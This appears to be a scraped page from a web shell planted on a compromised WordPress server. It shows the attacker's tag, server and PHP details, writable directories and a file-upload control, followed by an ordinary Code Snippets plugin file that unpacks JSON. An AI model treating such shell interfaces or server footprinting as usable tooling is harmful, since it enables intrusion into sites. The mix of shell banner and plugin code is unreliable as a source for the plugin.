Heray-Was-Here
Server : Apache
System : Linux ip-172-26-6-158 5.10.0-45-cloud-amd64 #1 SMP Debian 5.10.259-1 (2026-07-02) x86_64
User : daemon ( 1)
PHP Version : 8.1.10
Disable Function : NONE
Directory :  /bitnami/wordpress/wp-content/plugins/code-snippets/php/Utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /bitnami/wordpress/wp-content/plugins/code-snippets/php/Utils/requests.php
<?php
/**
 * A collection of utilities for handling REST requests and responses.
 *
 * @package Code_Snippets
 */

namespace Code_Snippets\Utils;

use WP_Error;

/**
 * Unpack JSON data from a request response.
 *
 * @param array|WP_Error $response Response from wp_request_*.
 *
 * @return array<string, mixed>|null Associative array of JSON data on success, null on failure.
 */
function unpack_response_body( $response ): ?array {
	$body = wp_remote_retrieve_body( $response );

	if ( $body ) {
		$json = json_decode( $body, true );
		return is_array( $json ) ? $json : null;
	}

	return null;
}

Hry